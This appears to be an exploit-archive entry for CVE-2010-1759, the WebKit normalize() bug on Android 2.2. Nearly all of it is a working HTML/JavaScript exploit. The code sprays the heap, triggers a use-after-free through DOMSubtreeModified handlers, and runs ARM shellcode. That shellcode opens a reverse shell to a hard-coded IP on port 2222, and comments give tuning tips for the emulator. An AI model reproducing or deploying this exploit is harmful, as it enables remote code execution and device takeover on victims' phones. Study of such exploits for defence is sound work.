Webkit normalize bug for android 2.2 (CVE-2010-1759) - [CVE: 2010-1759]

2012-02-01 09:15:04

<p>LOADING...</p><div
id="test1"></div><div
id="test2"></div><div
id="test3"></div> <script>var elem1 = document.getElementById("test1");
var elem2 = document.getElementById("test2");
var elem3 = document.getElementById("test3");
function spray()
{
for (var i = 0; i < 180000; i++) {var s = new String(unescape("\u0052\u0052")); } // "\u0056\u0056" FOR EMULATOR
var scode = unescape("\u5200\u5200"); // "\u0058\u0058" FOR EMULATOR
var scode2 = unescape("\u5005\ue1a0");
var shell = unescape("\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002");
shell += unescape("\uae08"); // Port = 2222
shell += unescape("\ua8c0\u0901"); // IP = 192.168.1.9 // "\u000a\u0202" FOR EMULATOR
shell += unescape("\u2000\u2000"); // Port = 2222
do
{
scode += scode;
scode2 += scode2;
} while (scode.length<=0x1000);
scode2 += shell
target = new Array();
for(i = 0; i < 141; i++){ // CHANGE 141 TO 201 FOR EMULATOR
if (i<100){ target[i] = scode;}
if (i>100){ target[i] = scode2;}
document.write(target[i]);
document.write("<br />");
if (i>140){ // CHANGE 140 TO 200 FOR EMULATOR
document.write("<br />");}
}
}
function handler1()
{
elem1.removeAttribute("b");
spray();
}
function handler2()
{
elem2.removeAttribute("b");
spray();
}
function handler3()
{
elem3.removeAttribute("b");
spray();
}
function slowdown()
{
for (var i = 0; i < 120; i++) { console.log('slow' + i);
if (i > 110 ){ elem1.normalize(); elem2.normalize(); elem3.normalize();
}
}
}
elem1.setAttribute("b", "a");
elem1.attributes[0].appendChild(document.createTextNode("hi"));
elem1.attributes[0].addEventListener("DOMSubtreeModified", handler2, false);
document.body.offsetTop;
slowdown(); // COMMENT OUT THIS FUNCTION CALL FOR EMULATOR
//elem1.normalize(); // UN-COMMENT THIS LINE FOR EMULATOR
document.body.offsetTop;
elem2.setAttribute("b", "a");
elem2.attributes[0].appendChild(document.createTextNode("hi"));
elem2.attributes[0].addEventListener("DOMSubtreeModified", handler2, false);
document.body.offsetTop;
elem2.normalize();
elem3.setAttribute("b", "a");
elem3.attributes[0].appendChild(document.createTextNode("hi"));
elem3.attributes[0].addEventListener("DOMSubtreeModified", handler3, false);
document.body.offsetTop;
elem3.normalize();</script>

Fixes

No fixes

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